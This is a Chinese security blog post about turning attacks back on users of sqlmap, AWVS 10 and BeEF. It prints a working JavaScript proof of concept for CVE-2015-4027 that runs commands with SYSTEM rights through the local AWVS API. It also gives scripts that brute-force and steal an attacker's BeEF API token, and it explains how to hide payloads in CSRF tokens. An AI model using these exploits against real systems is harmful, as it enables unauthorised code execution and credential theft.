使用各种扫描工具的你，不但踩了“蜜罐”可能还要被团灭了

*本文原创作者：evil7，本文属FreeBuf原创奖励计划，未经许可禁止转载

工作后，越来越没有时间挖洞和写东西了（被世俗的纷争与微弱的工资束缚着），真是怠惰滴斯！……(；′⌒`) 蓝瘦…香菇…

这几天看到FB上又有了几篇有质量的RMB奖励贴，心中小小激动。

仔细看了看《注意了，使用Sqlmap的你可能踩中了“蜜罐”》，作者九如把之前自己也研究过的东西写成了心得。想起了大学时候自己没日没夜研究本不是自己专业内容的身影。原来，还是有好奇心强的朋友在用不同的视角去审视现有的工具的。

那么回归正题，我们就来分析一下已经爆出来的，或还没说破的那些反杀Show。

# FirstBlood：Sqlmap （bash特性）

本文主要延伸思维，稍微分析一下文章中实现方法的问题和解决办法：

引子直接看九如的文章就好，不做重复介绍了：《注意了，使用Sqlmap的你可能踩中了“蜜罐”》

之前笔者自己也本着学习的目的，研究了sqlmap的源码，那么就根据以上那篇文章，一起来分析一下：

form表单里value的值过于明显，哪怕不抓包，有阅读源码习惯的人都会发现其中的不对劲儿，怎么办？

确实如此，那么value中最好把payload所有字符都先urlencode一下，反正POST传入的data会在target.py进行urldecode。

所以完全可以把payload全部urlencode处理，免得太过明显。

有没有什么办法，不让payload在网页的源码里裸奔呢？

不如把payload放到header里好了，因为POST中以下参数全都包括在header中，并且都可以urlencode传入，因此都可以用来隐藏利用。首先，我们来看看sqlmap源码里，是怎么处理header内容的：

HTTP_HEADER.USER_AGENT： https://github.com/sqlmapproject/sqlmap/blob/e77126e847984b204111d5dada9417bc74a7a376/lib/core/target.py#L328 HTTP_HEADER.REFERER： https://github.com/sqlmapproject/sqlmap/blob/e77126e847984b204111d5dada9417bc74a7a376/lib/core/target.py#L336 HTTP_HEADER.HOST： https://github.com/sqlmapproject/sqlmap/blob/e77126e847984b204111d5dada9417bc74a7a376/lib/core/target.py#L346 https://github.com/sqlmapproject/sqlmap/blob/e77126e847984b204111d5dada9417bc74a7a376/lib/core/target.py#L712

以上POSTdata的反杀方式，攻击者测试时必须进行抓包、导出datafile，才能使用--data来利用。万一他仔细看了看data内容，这样反杀不就变成送人头了么，怎么破?

那就尽量不让攻击者接触到POST的data，我们改用GET来反杀，先看这里：

https://github.com/sqlmapproject/sqlmap/blob/e77126e847984b204111d5dada9417bc74a7a376/lib/core/target.py#L365

读过repo的都知道sqlmap在get的时候是不会主动验证并设置get中header的其他参数的，那么如果get请求进行了验证，就必须自己加上类如--cookie/--agent的参数。

那攻击者在寻找package头文件里的cookie时，一定也会发现参数中奇怪的部分，左思右想，这不反杀不成了么？还是再继续看看源码里还有什么好玩的东西吧。

可以注意到，sqlmap检测csrf的时候，有这么一条特性。

HTTP_HEADER.CSRF_TOKEN：

https://github.com/sqlmapproject/sqlmap/blob/e77126e847984b204111d5dada9417bc74a7a376/lib/core/target.py#L381

从以上实现方式看，csrf被检测验证后，出于自动化步进，Sqlmap会提出交互选项

Do you want sqlmap to automatically update it in further requests? [y/N]

而就一般的渗透过程来说，懒得麻烦的人都会扣个Y让他继续。毕竟能自动跟进为什么我还要去手动get然后设置呢？我要的是自动化啊！（对没错，是我）

你不但可以注入反杀payload，同时还可以只用get请求，就干掉攻击者。

总结一下，猥琐的姿势就出来了，为了兼顾get和post，我们只需在所有请求里加上csrf伪随机验证，然后通过监控所有的页面请求，在某个页面超过20次连续同ip请求时，动态替换掉csrf规则加上你的payload。

如果攻击者是个脚本小子或者马马虎虎的人，那铁定就要被反杀了。

# Double kill：AWVS 10 （CVE-2015-4027）

抱歉原文链接忘了在哪儿了……简要说明一下：

AWVS 10 在安装后，会申请一个api服务，开启并监听8183端口，用来接收本地任务添加的调用（具体服务名称忘了……）并且这个服务跟随安装时的属性，就是说是system权限的服务。

如果直接访问http://127.0.0.1:8183，可以看到一个简单的web面板用来显示所有类型的扫描任务。

根据官方文档的api参数介绍：https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/

/run参数将代入命令执行，且因为继承system权限，我们的命令也会以system执行。

并且，发现这个漏洞的人测试了一下，在AWVS扫描的时候，js将被代入检查并且被执行了。

于是，就有了隔空怀孕的姿势——插入针对AWVS-Api的“恶意js”用以反杀。

参考poc：

<script>var t = new Date()var y = time.getFullYear();var m = time.getMonth();var d = time.getDate();var h = time.getHours();var min = time.getMinutes()+1;var command = "calc.exe";var padding = "http://";for(i=0;i<2048;i++)padding+="a";var exp = '{"scanType":"scan","targetList":"","target":["'+padding+'"],"recurse":"-1","date":"'+m+'/'+d+'/'+y+'","dayOfWeek":"1","dayOfMonth":"1","t":"'+h+':'+min+'","deleteAfterCompletion":"False","params":{"profile":"Default","loginSeq":"<none>","settings":"Default","scanningmode":"heuristic","excludedhours":"<none>","savetodatabase":"True","savelogs":"False","generatereport":"False","reportformat":"PDF","reporttemplate":"WVSDeveloperReport.rep /Crawl http://scan.what /Run \\\"'+command+' \\\"","emailaddress":""}}'var xmlhttp;if(window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); }else{ xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("POST","http://127.0.0.1:8183/api/addScan",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("RequestValidated","true"); xmlhttp.send(exp);</script>

payload：（python）

https://www.exploit-db.com/exploits/38847

https://www.exploit-db.com/exploits/39755

（10月29日）找到了，原文在这：如何优雅的反击扫描你网站的黑客

# Triple kill：BeEF-Framework （js特性）

Beefproject：http://beefproject.com

大家应该都用过beef这个功能丰富的xss平台，毕竟自动化方面beef做的非常不错，但是同样beef也存在一定的被反杀风险。

我们今天不是来介绍工具，而是分析其反杀的可能性的，所以，测试！上线！大家来找茬！

显而易见，在点击了测试页面后，beef-panel里很快出现了我们的主机，而就一般小白用户来说，这一上线，可谓狼入虎口了。

因为beef能实现的钓鱼功能、渗透功能非常之多，高仿的flash升级页面和其他隐蔽注入效果非常好，没有辨别能力的人碰到真就亚西给给了！

看着安静的测试页面，大家也许都会觉得只要sever端不发出极端性的指令，一般来说是不会暴露的，但我们来看看原始页面在注入js后，是不是多了些奇怪的东西，首先beef这个存活上报功能（心跳功能）就已经很容易暴露身份了。

在dev-terminal里很清楚的看到，因为每秒一个的心跳包，页面的脚本资源量在不断的增长，通过寻找最多的那条增长量，也很容易找到server服务器的位置。

但是我不能每看一个页面就f12一下呀，那不得累死么？

是的，所以我们来说说页面里那些不对劲儿的马脚，我是说——奇怪的var和function。

不管js名称更换如何隐蔽，不管攻击者使用多么保守，通过在调试终端输入一条简单的beef,足以让它漏出马脚。

可以看见，beef的版本，所有function原型，所实现函数等，全都以json形式被返回打印了出来。

见招拆招，理清思路

如果你是一位站长，只需要在你的站点页面里加入一条js即可：

<script>(window.beef)?alert('Found Beef inject!'):null;</script>

那么这怎么算反杀呢？

既然js特征能够被发现，我们继续看看，能不能有什么可以利用起来获取一些攻击方的信息。

通过一句简单的函数查询，我们很容易找到hook脚本的所在位置，同样作为beef的特点，js和panel是在同一端口，所以可以通过这个动作，了解被注入的脚本信息，推断出beef的后端入口，进行反击。

见招拆招！重点来了！请同学们做好笔记！

看对方XSS打得这么欢，是时候带动他家一波团灭了。

测试中，我们先假作为攻击者，访问以下自己后端的页面。

http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json

没错，这就是显示我们后端BeEF的RestfulApiToken值的一个json！

（10月29日）我真不知道为什么这个ApiToken会以json形式直接暴露出来，讲道理我运行beef的ruby脚本时候你print出来了就够了嘛……

那么，只需要能得到ApiToken，即可控制server端的行动！

接下来，将我们注入到自己测试页面的那段js改成（笔者测试引用了jquery的$.get方法）：

<script src='http://cdn.bootcss.com/jquery/3.1.1/jquery.min.js'></script><script>(window.beef)?alert('Found Beef inject!\nbfToken: '+$.get({url:"http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json",async:false}).responseJSON.token):null;</script>

当攻击者自己访问到页面的时候，就可以将beefToken拿到手。

当然你可以不alert出来打草惊蛇，而是发送到自己服务器的后端或记录到网站的log里今后慢慢品尝，或者干脆全自动化天降正义。

（10月30日更）再次测试后发现，beef的ApiToken是动态生成的，只有登陆后，才会出现Token，在心跳包断连的时候，是获取不到后台Admin的Token的，那个json的页面也会获取不到，但是beef参数和所有脚本function还是存在。

这意味着，如果检测到页面有beef的参数，证明页面被注入了beef的XSS脚本；

如果同时通过xhr动态获取到了ApiToken，那只有一种可能——攻击者和你，同时在线！赶紧争分夺秒搞事！

笔者将之前的小脚本稍稍改进了一下，更改为两步，第一步仅仅验证是否有beef脚本注入，第二步如果攻击者在线，再进行遍历爆破，提取ApiToken：

<script src='http://cdn.bootcss.com/jquery/3.1.1/jquery.min.js'></script><script> var bfPath = ['ui','admin','beef','hack','xss','manager','dashboard','test','menu','123456']; var bfHost = [beef.net.host,'127.0.0.1','localhost','0.0.0.0'] function getApi(host, path) { return $.get({url:beef.net.httpproto+'://'+host+':'+beef.net.port+'/'+path+'/modules/getRestfulApiToken.json',async:false}).responseJSON; } (window.beef)?alert('Found BeefJs inject!\n\nJsfile is:\n'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+beef.net.hook):null; for (var n=0;n<bfHost.length;n++) { var h = bfHost[n]; for (var i=0;i<bfPath.length;i++) { var p = bfPath[i]; (getApi(h,p))?alert('Found Beef is Online!:\n\nServer At:\n'+beef.net.httpproto+'://'+h+':'+beef.net.port+'/'+p+'/panel'+'\nApiToken:\n'+getApi(h,p).token):null; } }</script>

（bfPath / bfHost 为爆破字典，数组格式存储，可自行添加。）

这只是个简单的alert示范脚本，实际生产环境中，完全可以将alert替换为自己的function，比如自动化利用Api套取攻击者所获取的其他session，再比如，立马注销掉自己的所有cookie等，大家开动脑筋~

其他事项

就像js演示脚本中，如果攻击者注入的是外网地址的js，而他登陆平台是用的localhost/127.0.0.1/0.0.0.0/192.168.x.x那就挨个枚举get一下就好，总会有一个是对滴~

如果攻击者改变了设置中panel的位置，就是说功能目录不是叫ui了那就靠一个简单的遍历爆破吧。

除非这个攻击者谨慎到把后台设置为/ni_jue_dui_zhao_bu_dao_wo_lalala_56789/panel，那就无法反杀了，但是也能尽快响应、注销cookie、清除被注入的脚本什么的，避免损失扩大嘛。

关于RESTfulApi利用，因为Api也验证了Session，所以自己单独使用Api是不可能的了，那么就得靠大家用XSS的方式，插回去反杀攻击者，多多判断if(blablalba){do blablabla}就好了。

只要动静不太大，别满console的error，没谁哪个攻击者会开着beef还分分钟看devTerminal的~

为了大家猥琐思路能继续延伸，贴上beefAPI说明书：BeEF-RESTful-API

打枪的不要，这么悄悄地，我就再提个醒！

Beef源码中有个2个Api入口是提供给内部调用的，没有写到Doc里，其中有一个是用来将msf_payload或者flash钓鱼包类似的需要暴露的文件布置到web外端的，为的是payload文件暴露出去能够给外部访问或下载，那么……

我们用这个接口来暴露一下beef的Config文件呢？

(｡･∀･)ﾉﾞ答对了，那就能拿到beef的配置、用户名、密码，然后阿姨洗铁路了。

然后……然后就不说破了吧~

留半个气口，不说了~嘿嘿~

⁄(⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄

# 把脸凑过来，我给你看个宝贝！

总而言之，很多工具因为自己的特性，或者为了实现刺探信息的更多功能，亦或是实现完美的自动化，难免会暴露出一些自己弱点。

正所谓“你想看我的宝贝，那就得把脸凑过来”……（大概就是这个意思吧，呵呵呵呵）

凑过来了，就容易挨揍…… ┑(￣Д ￣)┍

文章写了很久了，两个星期前就打算发，一直工作忙着没时间认真排版和配图，怠惰滴斯！

但是不能向怠惰势力低头！有研究还是得发出来的~

还有几个开源工具，笔者自己也还正在研究呢，而且有点东西没太明了，正在琢磨中……

等这个beef的还有其他一些相关项目研究完，我会在年底汇总成一个开源的小项目（工作之余，可能延误）。

咳咳，毕竟，吹出去的牛逼才有动力去实现嘛~

卖个关子吧，这个小小的项目将会很流弊！涉及网络安全，算得上是辅助类小工具，有点偏向开发辅助类型。

不能老看看不动手嘛，突破创新深化改革，自己也得用发展的眼光去看现在的安全行业。

# 感想

以上的这些姿势，其实网藤或者盒子，完全可以做个项目，全网感知做出一个动态的拓扑图，去按特征定位“病原体”。

这就和我现在的行业有点像了，医疗科研项目，做病原识别和提前干预，对病原特征进行标记，人工诱导触发方向，获得病原信息后消灭，就和预防针差不多。

1）试想，如果提前注册掉或者反复循环注册工具所用的function或者var，不就做到了打乱内部功能的作用么，我在每个页面放上育苗，等碰到了真正的病原，再触发进行主动侵蚀。 2）所有的下载，都不用下载完再检查了，不是有服务器安全管家么？联动一下，每个站点自己放白名单，浏览器先检测白名单，再检测下载链接，如果超出可下载源直接禁止下载，再提醒站长出现非法链接。 3）支付链接什么的，直接浏览器解析一遍，乙方信息不符直接ban掉二维码就是了。很多隐形的特征，浏览器都可以帮忙完成判断的。

3什么0，什么迅，什么啥的浏览器，来个某厂做成个内部功能，检查页面函数与function，这一下就变成“我大xx浏览器完美感知黑客行为，提前预防，防范未然”了。

（mark一下，万一真被某厂把功能实现了，请稍稍提名我一下，蟹蟹，嘿嘿哒~）

现代社会没人能离开网络，既然大家都在接触，那么大家都能参与改造。

其实我们每个人都是网络安全发展的历史见证者，同时也是缔造者，为什么不尝试着参与进来呢？

# 写在最后

一血二血或多或少是网上已经公布过的，仅仅在前人基础上做了点研究，早就看过的大牛们就略过吧。

最后才补充了一点自己对beef的研究与发现，暂且提到的比较浅层，早已有过研究的朋友们也可以忽略。

非提问和指正的留言，我就不回复了，最后感言，就看看笑笑好了，轻点喷。

如果文章里有思绪混乱的地方，欢迎大家多多指正。

炎夏清风，吹霾散云，寒秋有雨，雨过天晴。

*本文原创作者：evil7，本文属FreeBuf原创奖励计划，未经许可禁止转载